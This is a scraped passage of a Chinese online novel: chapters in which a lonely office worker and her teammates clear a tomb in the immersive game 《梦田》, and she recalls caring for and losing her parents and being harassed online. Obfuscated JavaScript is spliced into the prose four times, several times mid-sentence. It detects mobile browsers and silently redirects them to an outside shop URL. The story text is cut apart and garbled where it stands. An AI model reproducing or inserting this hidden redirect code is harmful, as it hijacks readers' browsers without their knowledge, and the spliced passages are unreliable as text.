我心想我不能再躲了，得赶快找个空隙把武器装备上，之前听罗小星的话，已经事先学习了基础的治疗技能，治疗术应该装备什么武器来着？ 我正在犹豫的当口，守卫的长戈向我扫来，我赶忙装备了一枚梅花针，并且试着抵御这次突如其来的攻击。 “喂喂！那个没用！”我耳边听见罗小星大声说话的声音，但脑袋已经来不及反应了。 我的右臂被扫到，我虽然没有痛感，但感觉手腕处一震又一震，手臂处的衣服裂开一大道口子，里面隐隐冒着黑雾，我的右臂已经不能动了，无论我在现实世界中再怎么努力行动，我现在都失去了游戏里对右臂的控制。 “思婷姑娘，我过去帮你！”唯月的扇子已经露出来扇骨了，原本攻击他的那两三个守卫似乎发现我受伤了一样，开始放弃攻击唯月，转头朝我这边走来。 我内心里苦笑了一下…… “大姐你先快点儿跑到我这边来！你那个梅花针不是用来攻击和防御的……” 我朝罗小星点了点头，可是现在围在我身边的守卫越来越多，我自保都已经很难，更别提移动到罗小星那了。 正当我绝望的时候，原本靠我最近的那个守卫忽然化作坍塌的尘土，逐渐消弭不见。 镜舟手拿玉具剑来到我的身边，他一手持剑，右手握着我的左手，看着我，不急不缓地对我说，“不要害怕。” “镜舟大哥，咦你什么时候把它捡起来的，那把剑很重的。你用起来要小心啊！” 镜舟朝罗小星点了点头，“知道了。” 镜舟一路护着我，终于和罗小星、唯月他们汇合在一处，守卫的弱点便是这把剑，玉具剑可以把他们化为齑粉，形势突然得到逆转。 黑脸见状忽然变得暴怒起来，宫殿内的悲泣之声变得越来越大，夹杂着令人不解的笑声，逐渐化成一首异常阴森的曲子在殿内回荡。 “你们谁也别妄想离开这里！永远埋葬于此供我驱使吧！”黑脸一声怒吼，无数道黑雾涌向那些舞姬、乐师、仆人，他们一点点变为守卫的样子，睁开深不见底的墨黑眼睛，挥动着手中的武器向我们一步步走来。 黑脸口中念念有词，像是说着什么咒语，黑脸渐渐升高。守卫们的身上开始涌动起黑雾，连那具棺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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罗小星欢欣鼓舞地大声说道：“镜舟大哥哥，你太帅了！！选择和你一起组队实在是太明智了！我们这应该是通关了吧？” 唯月也在一下一下地鼓掌，“镜舟好身手。” “还回去吧。”镜舟把玉具剑递给罗小星。 “好嘞！”罗小星捧着剑，一蹦一跳地来到兵器室，“放剑的台子怎么又复原了？谢谢龙神保佑！” 镜舟左手似乎握着什么东西，他朝我张开手掌。 “是一枚玉印？” 镜舟点了点头，然后把玉印轻轻地放在棺椁之上。“是那团黑雾留下的。” “玉印就相当于是古人的身份证吧。人都走了，还有什么舍不下的呢？我们见已见过，就让这里的一切都留在这里吧，希望不会再有悲泣。”我不无感慨地说道。 “兄弟萌，兵器库里新增了个传送点！我的亲娘咧，我们终于可以重见天日了！” 12. 第 12 章 出了古墓罗小星第一个提出要赶快下线，我们都默契地答应了，什么任务都等到第二天再说吧，我自己已经是困倦不堪，但自觉眼睛还放着光，那种体验就像是熬夜熬过劲了之后，反而有点儿睡不着了，越躺着越精神。 虽然也好奇接下来会遇到什么新鲜的事情，毕竟之前答应老先生的任务还没有完成呢，可是也不忍心虐待自己的身体，再好的游戏也不必一日玩儿尽。 原本在下班后才好不容易获得的短短的业余时间，竟然可以发生那么多令人惊异的奇遇，其间也有被吓得胆战心惊的时候，可是所有的困难都有人和我一起面对，我们大家一起想办法，没有什么坎儿是迈不过去的，也没有什么地方是到不了的。和小伙伴们并肩作战的感觉令我难忘，想想都觉得很满足。 第二天，我还是最早到的那一个，传送点把我们带离了古墓，但也不过就是传送到罗小星最开始掉落的那个洞旁边，不同的是洞口已经不见了。那个古墓应该不会再发生各种灵异的事情，而是变回它该有的样子。往生者得到安息，沉睡的财宝文物也许有一天会有与世人见面的机会，但这只是一种假设，另一种可能就是永远埋于地下。 古代有句话叫，事死如事生，事亡如事存。 我作为一个现代人，对财富习惯接受的说法是钱财都是生不带来、死不带去的东西，可能是因为我太贫穷了？所有没有王侯将相对钱财的执念，活着的时候那么富有，总是希望可以维持住这份优越感，哪怕将登彼岸，也想买艘宽敞的船。向来都是穷人渴望一夜暴富，从来没听说富人能够接受一夜返贫的。 实际上，连普通人也都是最怕这种情况发生的，“辛辛苦苦几十年，一夜回到解放前”。 假如把这数不尽的钱财留给当世的那些老百姓，是不是也不错呢？这真是个天真的假设，或者还有点不负责任。哪有人会愿意把手里的钱财拱手相让啊，通常都会选择留给未来的自己，我完全理解，因为我也会把工资存起来。 至于人没了以后呢……最完美的情况就是在闭眼之前的那一刻，钱刚刚好全部花了，不然辛辛苦苦攒个几十年，到最后发现也没几次真正享受到，自己都替自己不值。 然而，我不能忍受身无分文的日子，光想想都觉得十分不安，这么看，我和那些闭着眼睛在宫殿内兜兜转转、忙忙碌碌的人还真有几分相像，都是被恐惧驱使的人啊。我算是能比他们幸福点儿，我至少知道我工作的目的。 天微微发亮了，黑夜即将过去，我趁此机会和绿萝呆一会儿。 绿萝的快乐总是很简单，它不会为未来烦恼，有点地方供它跑跳睡觉就行。没错，享受此刻就好，我是不是也应该虚心学一学呢？ “别跑远了，绿萝！小心有大黑脸出来抓你。” 绿萝才不管什么大黑脸呢，但是“大花脸”倒是来了。 “绿萝？这只猫叫绿萝？什么奇奇怪怪的名字……” 绿萝就跟听得懂罗小星的话似的，罗小星想过来摸摸它，它都不给面子，快速跑到另一边，躲开罗小星伸过来的手。 “什么嘛？小气猫，摸都不让摸。”罗小星冲绿萝吐了吐舌头，“我还就不信了，看我怎么抓到你！” “你们这是大猫抓小猫啊，罗小星你注意点风度啊。” 我也乐得见到有人陪绿萝玩耍，笑着看他们俩调皮到一起去。 对啊，为什么叫绿萝这个名字来着？ 要说起来，梦田这两个字，乍一听起来也有些奇怪，带点土气，虽可说这包含了一种自然的气息吧，但名起得并不怎么时尚。不过，凡是长时间接触过这款游戏的人，相信很快就会意识到，它的包容性和可能性远比它的名字所承载的要更为丰富，它的内涵从这两个字开始，但绝不会到这里止步。 我相信，《梦田》一定会在游戏市场上拥有首屈一指的地位，且对手们将越来越难以望其项背。曾经的它是横空出世的新星，日后的《梦田》定会成为游戏领域的王者，甚至将很有可能不仅仅局限在游戏领域。 来玩这个游戏，是我人生中做过的最重要的决定。从游戏最初面世的阶段，我就选择投入一定的金钱为自己定了一个较高的起点。 人们常说，我们没法选择自己出生的父母，诚然，除了父母以外，种族、民族、国籍、地域、家庭环境、个人基因，有太多因素都是我们无法选择的，有的人从刚一出生，就是含着金汤匙的小心肝宝贝，而有的人就是没人知道没人在意的地里黄小白菜，人与人之间的差距有时候真的是比人与猪之间的差距都要大。 我也算是虚度了一些年月，虽不是那么情愿，但也不得不承认，自己资质平庸，这一辈子大概都没法出人头地，我只是芸芸众生中的一个，费尽心机耗尽心神拿到手上的也不过一个普通人的剧本，我人生的前半段就是在反复地不肯面对这一事实中走过，直到量变累积成质变，我突然在某一个时刻认输了，接受了这个现实。 说实在的，意识到这一点后，我心里还挺好受的。我已忘记从前的我为什么会对自己有那么高的期许，也许是别人的某个不走心的夸赞，也许是某个不怀好意的调侃，也许是我曾经取得过的被自我放大的小小进步。当我扔掉了这些负担以后，就等于拿掉了对自己不切实际的期待，从前的伪装得以土崩瓦解，瞎在乎的面子归于本初了，照了照心里那面镜子，我才看到自己本来的模样。 我知道在社交平台上，只要你过于关注别人的生活、或者被各种良莠不齐的新闻大量地占据注意力，你就会发现人生充满了需要焦虑的年龄。我既不年轻也不年老，没什么年龄该被固定成什么人生重要的分水岭。 就好像三十岁的人以其所处的位置去望向那些二十出头的人群，可能有些轻易地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当然，后来碍于学习，其实主要是家长及学校的监管，就没有太多机会也没有什么时间去玩了，没有游戏的日子倒也没有那么难过，虽然那个时期学业的压力还是很大的，但也许正因为如此，总要去找一个出口去宣泄，现在想来那时候虽然没有游戏，但也有课外书、有音乐，总之随便什么东西帮助自己熬过那个阶段。 到了大学，学业压力骤然降低，至少客观上没有什么人会成天价地催着你，看起来好像多了许多游戏的机会，可惜那时候不懂，大学应该是好好获取未来进入社会生存技能的阶段，我不能掌握好游戏和学业之间的平衡。用来玩游戏的大部分时间花得总有些不那么心安理得，故而玩也玩得不痛快，好像在做什么见不得人的事情。 直到步入社会，有了经济来源，应对工作生活没那么捉襟见肘的时候，我才有机会，也有那个心情去重回游戏的世界。 13. 第 13 章 我明白，《梦田》可能对于我来说不是什么必不可缺的东西，可是少了它我会有点难过，拥有它我才能呼吸得更顺畅，我以为现在这样的人生才更完整。 这款游戏在即将面世的时候，投放的宣传并不算太多，虽说是业内几大头部公司合作多年开发的产品，也承载了一众粉丝的期待，但厂家们在最初的阶段竟然都十分谨慎，也许他们都是抱着给新项目试水的心态，不敢确定游戏到底有多大的市场。 发售前夕，只有一部分游戏爱好者在讨论，我玩过端游，后来手游玩得也不少，这么长时间杂七杂八总地多少知道点游戏方面的讯息，平时会留意一些游戏业界的新闻，那时偶尔在浏览网页的时候看到过几次关于梦田的小范围网友讨论，我当时没有太在意，只是有一点点好奇。 游戏处于内测阶段的时候，能玩得起梦田需要有一定的经济实力，因为你要花费不菲的价钱去做前期准备，无论是硬件设备，还有游戏软件的购买费用，零零总总加起来，都是不小的花费。 虽说是号称业内第一款正儿八经地兼具体感、视听特效的沉浸式“高科技”游戏，除了热爱游戏的发烧友以外，普通民众很少能一下子接受这些前期投入，当下众多的手机游戏已经足以吸引玩家度过大量的碎片时间，老牌的主机也早就拥有了很多固定的受众，新兴市场还没有打开。 巧合的是，那个时期的我，工作上处在一个瓶颈期，我意识到除了做好我的本职工作以外，无论我再做多少，也就只能处在这个位置上了，加薪无望，升职无望，虽说我志不在升职，也没有信心做一个杀伐决断的管理者，可是当你知道你没有这个上升的可能时，哪怕你没有这个渴望，也还是会相当沮丧。 工作中日复一日的重复，鲜有激发自己干劲儿的事情。雪上加霜的是，我的记忆力也越来越差，每天都要强行打起精神，避免工作出错，不管工作有多枯燥，一旦饭碗砸了我的生活就连枯燥的机会都没有了。 那时候的我在生活中，可以说是白纸一张，基本上可以说是了无羁绊，但也确实相当空虚，还有那么点寂寞冷。我的父母都不在了，留给我的是一间超过二十年房龄但仍能够遮风避雨的家，和他们用一辈子兢兢业业、勤勤恳恳工作换来的一些积蓄，虽说经过疾病与衰老的洗礼，积蓄已所剩无几，但那也是他们人生耕耘过的证明。 母女之间曾经发生过的那些争吵我都逐渐淡忘，而且站在今天望过去，总觉得与其针锋相对、剑拔弩张地互相伤害，倒不如珍惜在一起的时光，可是即便重来一次，我也不能确定自己能不能做到平心静气地去捍卫我认为重要的东西，我想我的母亲也不能，她不可能理解我，我现在虽然有些理解当年她的心情，但彼时彼刻，冲突难以避免，谁都不会退让。 母亲生前最大的心愿就是看到我嫁为人妇，和某个人组建一个家庭，为此她不惜以各种手段达成目标，但可惜的是，我始终没有踏出那一步，我想，或者我不同意的原因不仅仅在于还没有找到合适的那个人，还包含了某种逆反心理。 我还年轻，为什么那么着急做这件事情呢，再等等不行吗？母亲那时候也没想到，她大概觉得我迟早会回心转意，只要她再强硬一些，坚决一些，可是疾病总是来得太突然了，让人措手不及。 在带着父母看病求医四处奔走以前，我从来没有好好认清过自己在社会中的位置。住院期间，我总是往返于公司与医院两地，觉得自己已经没有力气疲惫了。 母亲走后，家里骤然冷清了许多，我那时真的有想过，要不就找个人嫁了？不知道是幸运还是不幸，我在父亲离开后，依然孤身一人。 我还记得忙完了父亲后事的那个下午，我一个人坐在客厅的沙发上，纱帘挡住了部分下午的日光，落向地板上的光线温暖着我的手背。 “爸爸，妈妈，是不是只剩下我一个人记得你们了？”我一下子觉得非常难过，心口堵得慌，却哭不出来一滴眼泪。 我站起来，看着家里头乱哄哄的，照顾病人的这段时间我无暇顾及许多事情。 于是，我下定决心要花很多时间去整理这个家，这时才发现，橱柜里有很多杯盘碗筷还没来得及用，就那么一直堆在不为人想起的角落里。 有三袋用来包饺子的面粉过期了，母亲生前喜欢吃芹菜包的饺子，几乎每个周末都要吃一次，无论吃多少次也不会腻，她走后，我和父亲都嫌麻烦很少再吃，当然，也是因为厌倦了那个味道。 阳台边的瓷砖上堆放着好几盆绿植，我认识的种类寥寥无几，花草长得也并不精神，毕竟很久没有获得主人像样的照料了。 客厅的一角堆着一把黑色皮质老板椅，对，就是那种霸道总裁办公室里放着的大班椅，然而转轮和靠背调节都已坏掉，坐起来也让人不太舒服，完全不知道留着它在这里还有什么必要，可是母亲一直执着地不肯扔掉，她总记得当时花了八百块买了这把椅子，却没有想到它长久占用的空间也未尝就不具备更高的价格。 大概是从那个年代走来的人的某种特性，母亲特别喜欢囤积东西，米面油，衣服、床单被套、碗盘餐具、无用的家具、口罩等等，这些东西确实曾在某个时期给家庭生活带来了一定的方便。我承认囤积物品的习惯可以在某些极端的时期发挥作用，但这样的行为却与我的价值观不符。 我们常常要吃陈的米面油，衣服明明堆满了衣柜，但真心喜欢的却没有多少，有些新的东西甚至都被忘记去拆封，丧失了它作为一个物品应有的意义。使用面积八十一平方米的家，本来就不算多宽敞，却还要堆放那么多本不需拥有的东西。 我从床底的液压箱里翻出来我大学时期曾用作床垫的小毛毯，初中时候的浅绿色床单，还有不知道什么时候买的、只穿了几次的九成新的过时棕色羽绒服。 我从家里的所有角落里找出这些形形色色的物件，花费了我很长一段时间。有些东西明显的破败不可使用了，有些似乎还有留下的价值，我没有想到的是，在决定是否要把它们扔掉的时候我会有这么多的犹豫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712068|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只是把它们码放出来，叠好、摆好、整理好，东西虽多我只能尽力让它们整齐，在决定放弃之前我想要让自己多一些考虑的时间，哪怕和它们再相处几天也好，毕竟扔掉一件就少一件了。我有些舍不得，物与人都舍不得。 父亲走后，我花了两个多月的时间才让生活重新回到既往的轨道上，那时候感觉每天都很难熬，现在看来时间也并没有太久。 那段时间里，我每天下班回家后就是收拾这收拾那，也没有心思好好吃饭，饿了啃面包，渴了喝白开水，把自己忙得筋疲力尽，躺倒在床上却难以入眠。 接连很长一段时间，我晚上不敢关灯睡觉，我觉得世界好大，而我好渺小，我觉得没人会记得我了，而我自己都要把我给忘掉。 直到家里的物件开始达到某种平衡，我出掉那些考虑很久后仍确定自己用不到的东西，扔掉或者转卖二手，破洞的床单、不再保暖洗到起球的被子、大班椅、摇摇晃晃的拼装写字台、与房子格格不入的大餐桌，带着茶具我却从不泡茶的茶几，我扔掉那些死掉的植物，留下还活着的绿萝、吊兰、龙爪、芦荟、君子兰。 我网购了一个白色铁制花架，自己费力地组装起来，把它放在客厅一角，就是之前堆放大班椅的地方。我把花盆擦得很干净，盆沿的泥土我都扫进花盆里，我在空置的三个花盆内都种上了绿萝，我喜欢绿萝这个植物，它很好养活，从不索求太多，却回报我很多绿色。 这个小家渐渐在我手中变了一个样子，不那么臃肿，更合我的心意。父母留下的痕迹并未完全消失。客厅、客卧上挂的两个玉花挂画，我没打算把画换掉，它们呆在那里，它们可以让白墙变得热闹，画上面写有“花开富贵”，虽然样式不怎么新潮，可还是有祝福在里面的。 我重又开始恢复往常的生活节奏，下班后有时候会去便利超市买点菜，回去给自己炒个菜，冰箱里总有备用的食材，速冻食品也好，新鲜蔬果也好，按照自己的心情吃些让我有胃口的食物，有时犯懒，也会点个外卖。 每周都会照顾好我花架子上的那些朋友，让它们见到阳光，但又不至于被阳光灼伤，吸取水分，又不至于喝得太饱。 那时候我的日常基本都重复着这样一个状态： 下班回到家里吃过晚饭后，我坐在沙发上有些打不起精神。看了看挂钟，时间刚过七点。这个时候去睡觉，未免太早。想看的电影大都看过了，没什么事情想做，有时候会出去沿着滨河公园散散步，但一个人走，又会感到孤寂。 手机上的游戏已经很久很久没有更新过了，可也懒得卸载。世界上五花八门的消费品对我仿佛都没什么吸引力了。 我当时就是处在人生的那个阶段，半个多月后我刷到游戏即将上市的新闻。 我是在那样的心境之下与《梦田》结识的——我孑然一身，她悄然降临，是缘分，也是意外。 但凡我花架上的绿萝朋友能够在我下班后开口陪我说说话，这个意外都不会发生。 我只是太孤单了。 14. 第 14 章 幸好，什么艰辛的事情都会过去。 罗小星终于追累了，“小猫，你下来吧，好好的，为什么要跑到树上去。我不追你了。”罗小星说完便来到我这边，和我一起坐在地上。 绿萝“喵”地叫了几声，也不下来，不知道它是不相信罗小星的话呢，还是希望罗小星能再陪它玩一会儿。 “我从来没在游戏里养过宠物，今天才发现，这个猫咪怎么设定得像真的猫咪一样。它怎么就知道我要抓它，知道要躲着我而不是被我摸一摸呢？它从一开始就不怕你对吗？” “不是的，刚开始领养的时候也有一个渐渐熟悉的过程，但我没养过真的猫咪，所以经验也不准确，对我来说，绿萝就是我唯一的参照。” “这样啊……”罗小星感叹道，“我很早以前就听朋友讲，梦田的那个背后公司，叫什么游来着……” “云游科技。” “对对对，老板特别厉害，手底下有特别天才的程序员，他特别重视那些有才华的年轻人，给他们施展拳脚的机会，后来才一步步发展到今天，别的合作公司怕他，都不敢得罪他。” “背地里都想取而代之吧？” “取而代之？”罗小星懵懂地看着我，“为什么？” “蛋糕做得越大，想分蛋糕的人就越多，谁也不甘心屈居人后，云游科技能坐上头一把交椅，肯定有它独到的地方，可能不是单纯拥有几个天才的程序员就足够的。创建一个像《梦田》这样的游戏一定是一个很系统的工程，需要很多领域的专业人才吧。” “我在竞技场里时间长了会发现，有时候，一个关键的队友就能扭转战局，虽然队伍的平衡很重要，互相间要讲配合，但这都是通常的情况，是一般而言的战术，因为有时候就是有那种特别强悍的选手，所有人只要配合他，保护好他，剩下的时间里躺平就行，到时候什么都不缺，该有的都会有。我知道这可能会和我之前讲过的东西有点矛盾……” “兵无常势，水无常形。” “对对对，就是这个意思！一定要结合当时的情况来看。”罗小星拍了下手掌，对我的总结表示赞同。 “所以，这就是你喜欢镜舟的原因？” “喜欢？没有没有，我只是欣赏镜舟大哥哥罢了。”罗小星连忙摆手，立即否认，“再说，镜舟大哥不是和你早就认识的吗？你难道不喜欢……呃，不欣赏他吗？” 我笑着摇了摇头，“没有，组队之前，我和镜舟也就是一面之缘。” “哦，我是在比武切磋的时候发现他的，那个时候我可能赢得昏了头，手里舞动的棍子险些就要打到旁边一个小孩ＮＰＣ，他看似不经意地搪了下我的棍子，很轻松地就化解了我棍子上的力道，把那个小ＮＰＣ抱到离擂台更远一些的地方，足够安全的距离。我感觉他应该不是来打擂台的，也不是来看热闹的，可是我有一种直觉，绝对不能放他走。”罗小星说完自己先嘿嘿笑起来。 “于是我就缠着他跟我打，逼他和我在擂台上分一分高下。我本来就是要利用那个擂台试一试其他玩家，寻找这次任务合适的伙伴的。” “没看出来，你还挺花心思的。” “那是当然呀！要赢嘛！”罗小星得意地拍了下胸脯，“有的时候评价一个人战斗水平的高低不是去看他是怎么进攻的，单单看防守就足够了。我使出浑身解数也难以逼他出手，头一次打擂台打得那么不开心。这样的高手我怎么能轻易放走，当不了我的队友万一成了我的对手我不就惨了吗？” “于是你就一路追过来了？” “是啊，有的时候就是要脸皮厚，要不然我一个人哪有更大的把握过关啊？再不然我只是随便找些吊儿郎当的队友，那到时候坑的极有可能是我自己对吧！ “说到这个，我想起来了，我要提醒你一点啊，大姐姐。你在古墓里的那种战斗状态是不行的！绝对不行！你怎么能自己一个人跑出去呢？躲伤害也要有技巧！奶妈不能单打独斗，要和其他队友在一起，获得别人保护的同时再谈保护别人，一旦保护不了自己，队伍不仅仅是少了一个补给、少了一个战斗力的问题，很快你就会拖垮大家的节奏的。梅花针怎么能够用来防御呢？天啊，我当时都要急死了！要是没有镜舟大哥，那画面简直不敢想！你到底有没有了解过自己的技能范围啊……” 我一言不发地听着罗小星的数落，他说的确实在理。 曾经，我这个人脸皮薄到我自己都无法理解，我自认为不是一个听不得别人任何意见的人，可看我的实际作风，分明就是一个听不进人劝的犟骨头。好像别人指出我的错误的时候，不是在说我做事有瑕疵，而是指责我人品有问题。我一直觉得这是很不成熟的表现，也不喜欢这样的自己，但直到发生一些触及内心的事件的时候，我才能有改变。 我有一个坚持多年的习惯，常常会把生活中的所思所感，通过文字、图片、视频等形式，记载到互联网上。很多年了，也没有获得别人的什么关注，只是自娱自乐。生活中的喜怒哀乐，所有我不想轻易忘记的事情，所有我当时无处发泄的情绪，都通过互联网一吐为快。有的时候也会想，会有人因此关注我吧？赞赏我吧？但大部分时候读者都是我自己，我并没有因此就备受打击不再发声，因为我发现，有的时候表达的欲望是无法被压抑的。 有一次我在论坛上对一个明星的某个行为发表意见，我当时也是带着点义愤填膺，但自认为所持的观点是站在道德和理智的一方，有很多人都对我的发言表示赞同。我觉得大部分人都应该这样想才对，看到无耻的观点就十分愤怒。我不怕与人辩论，因为我觉得我没有错。 有一个人，应该是这位明星的粉丝，她没有给我任何评论，也没有私信对我进行任何辱骂，其实辱骂私信我以前也收到过几次，这好像是使用互联网时所必须面对的奇怪事情，那并不会给我带来什么伤害。 这位粉丝，她翻遍了我在那个论坛的所有发言记录，说实话，那肯定废了她一番功夫，因为我基本上是把那个论坛当作我的小树洞，我很早以前就注册过账号记录生活。我为什么知道她做了这件事情呢？ 因为我收到了一条论坛提醒，看到她给我多年前发的一条状态点了个赞。 那条状态我是这么写的：今天天气阴，我走在路上，不知道为什么，觉得像我这样废物的人不配活在世界上，应该立即去死。 这条状态是我写的吗？如果不是突然看到，我自己都快忘记了。 我经常会有情绪低落的时候，因为各种各样的原因，会想把悲观失望的情绪发泄出来，其实很多当时觉得万分苦恼的事情，以后日子再看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712069|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至会想不起来那时候自己究竟因为什么而苦恼。 我在那一刻看着屏幕完全愣住了，只是单纯地想给这位粉丝的行为狠狠地鼓掌，简直还想高声说句“ＢＲＡＶＯ”，因为在那一刻我精准地感受到了她如山如海般的恶意。她可能真的是很想我去死，因为我诋毁了她的信仰，虽然我不认为那是诋毁。 但是她自己亲自告诉我这句话还不够有威力，最好的办法应该是让我自己说出口。 我承认她做得很好，她成功了。我只是匆匆滑过，看了下她的头像和性别，连她的网名都不敢看。我慌张极了，我马上把之前发表过的那条观点设置为仅自己可见。我是一个逃兵，是一条丧家之犬。 我不知道当时我为什么会那么恐惧，我也很后悔把自己的观点隐藏掉。如果我没有错，那我为什么要逃，这不是不战而败吗？她为什么能够伤害我，首先在于我伸手将那把能刺进我心里的匕首送到了她的手上。 人与人之间的关系是很难想象的，什么人情冷暖、世态炎凉，只有自己亲身经历过才能够有最真的体会。从这件事情以后，我突然之间学会如何接受别人的批评，因为我知道以前是我自己太不知好歹，我对于阴险的人还是太缺乏想象。我必须要有胸怀去接受别人的劝诫，要懂得分清什么是好的，什么是坏的。我最缺乏的就是对朋友的宽容。 我不再在网上公开发表自己的极端情绪，如果我过得春风得意，别人会嫉妒我，有几人能真心为我高兴呢？如果我过得凄凉悲惨，可能当时没人会对我落井下石，但是在未来的某一天，那些在极度伤心无助之下写出来的话，也可能成为别人伤害我的工具。我这样的无名之辈是不配卖惨的，卖惨最后可能就是真的惨。 我后来常常会想，那时候我关于那位明星的某个行为的评价究竟是不是污蔑？我能不能做到正直地说出每一句话？如果我没有做到，那么我活该被伤害，如果我做到了，我就再也不会后退。 那个粉丝已经长久地住在我的心里，我虽然不知道她的名字，但我会记住她，这也是人生中难得的一课，如果我能消化掉，我一定能够获得成长。 “呃，大姐姐，你有听我说话吗？我不是指责你啊……我意思是……” “你说得很好。”我如果判断不出罗小星是不是一个可爱的队友，那就是我太傻。 “那就好。”罗小星松了一口气，随即又被我的举动惊吓到了。 我拿出梅花针，在他的左臂上扎了一下。他自然不会觉得疼，无非就是看见梅花针停留在那里而已。 “我今天上线之后有认真看过，梅花针施展方法正确的话有增益的功能。可以强身健体，祛邪扶正，但我学习得还不够，只是一些初始的技法。”说完，我也在自己的胳膊上用了针。 “好极了好极了。”罗小星讪笑着，“就是看起来有一丢丢怪啊。” “罗小星，以后我有做得不好的地方，你尽管告诉我。我很在意你真实的想法，你也不必顾及什么。” 罗小星认真地点了点头，“好的，我知道了，思婷大姐姐。” 绿萝忽然利索地从树上下来了，跑向别处。 我追随着它的身影，看见镜舟和唯月都过来了。 罗小星连忙站起，“两位大哥来得正好，一块儿扎一下！” 15. 第 15 章 既然罗小星都这么说了，我寻思着反正也是锻炼手法的机会，不试白不试嘛。 我缩着脖子低声下气地先去找镜舟，绿萝正在他脚边闲逛，“刚学习的小技能，想来练练……”还没等我多加解释，镜舟就自觉地把两个手臂抬起来。手臂平举，手掌向上，姿势十分端庄。 “两只手都需要吗？”镜舟非常淡然地看着我，好像我真的是个有经验的医生，他只是一个乖乖听话的病人。他越是如此，我内心越是惴惴，难道他就不怕我会给他戳坏？虽然正常来说这种情况是不会发生的。 “不用不用……一只手就够了。”我按照之前用在罗小星身上的方法给镜舟也施了针。 “谢谢。”临了镜舟竟然还对我道了谢，该说谢谢的是我啊，谢谢你给我尝试的机会，改日我若能在辅助这个岗位上略有作为，那必然是忘不了罗小星和镜舟的无私奉献。 “别客气，别客气。”现在就剩下唯月自己了，我转头看向他，只见他以一种兼具怀疑又不可理解的表情依次看了看罗小星和镜舟的手臂，眉头都微微挑了起来。 “我就不必了吧，思婷姑娘，这弄完之后的样子看起来挺丑的……” “不要小瞧这梅花针，使用方法正确的话可以可以强身健体，祛邪扶正。”我此时就如同一个兜售怀中药品的江湖郎中，我承认，唯月越是不想配合，我就越是有点恶趣味。 “思婷姑娘，现在又不是在副本里，又不是有什么战斗任务，弄这个也没用啊……” “我之前看到说用它有一定几率提高行走速度。”我记得技能描述上是有这句话的。 “一定几率？”唯月的疑惑加深了，“描述中提过这个吗？我怎么记不得了……等一下，也就是说有可能不提高对不对？” 我刚犹豫着要点头，想着要不就别勉强唯月了，罗小星已经忍不住了。 “唯月，就你啰嗦，你到底是怎么回事呀！我和镜舟大哥都积极配合，你怎么就这个那个的借口那么多！你不知道思婷大姐姐对自己的技能还不那么熟练吗？你不知道只有多多实践战斗水平才能得到提高吗？你不记得之前打ＢＯＳＳ战的时候有多么险象环生差点团灭吗？你就不能支持别人、鼓励别人让人家更快进步吗？” “我怎么了……我有不支持别人吗？”唯月摸了下自己的鼻子，似乎是被这一连串的排比句问懵了。 “思婷大姐姐，别犹豫了，扎他！”罗小星又看向我。 “我突然想起来我们还有正事没做，那位书生交待的任务还没有完成呢！我们得快点赶路，别在这无关紧要的地方浪费时间了。快走快走吧。”唯月说完，拔腿就走。 “喂，唯月你站住！这怎么能叫无关紧要呢？这当然不是浪费时间！”罗小星连忙追过去。 我看着他俩的背影笑出声，“这两个人总能闹到一起去。” 说完，我看向镜舟，“镜舟，我喜欢大家在一起的感觉。” 镜舟看着我，我喜欢被他这样看着，我喜欢看向他的眼睛。 “你又救了我一次，镜舟。我要怎么谢谢你呢？” “我们走吧。”镜舟移开了目光，往前方去了。 每次都是这样，镜舟就像要躲着我似的。 我心里很想告诉他，是他让我越来越珍惜我自己。可是他不愿意听我的心里话，我也不知道该怎么样开口。也许保持这样就很好了，我招呼绿萝和我们一起走。 唯月到底还是被罗小星捉住了，我给唯月和我自己都施了针，以示公平。 即将到达无字碑的时候，朝阳东升，天地间看起来视野开阔，人的心情也跟着舒畅起来，绿萝玩累了回到背包里。 “还是在地上面舒服，地下面的世界再也不想去了。”罗小星感叹道。 “你就是想回去也回不去了啊。”唯月看着依然扎在自己手臂上的针，皱着眉头问，“据我观察，这行走速度也没有提升吧？” “所以说是一定几率。”罗小星提醒唯月，即使不提升速度也没毛病。 “这技能随机的设定确实需要优化。” “你可以跟开发组反馈，竞技场的随机率更让你崩溃，暴击和平Ａ的伤害隔了一个银河系。” “那个不一样，有别的关联要素，概率和要素是匹配的关系。”唯月不以为然。 “我这个多练练应该真的能提升行走速度，现在我还是个初学者，熟练度不够，等级没得到提升。”我安慰道，边说边取下了每个人手臂上的针，“不行我再学学拔火罐，那个说不定更有用，技多不压身。” 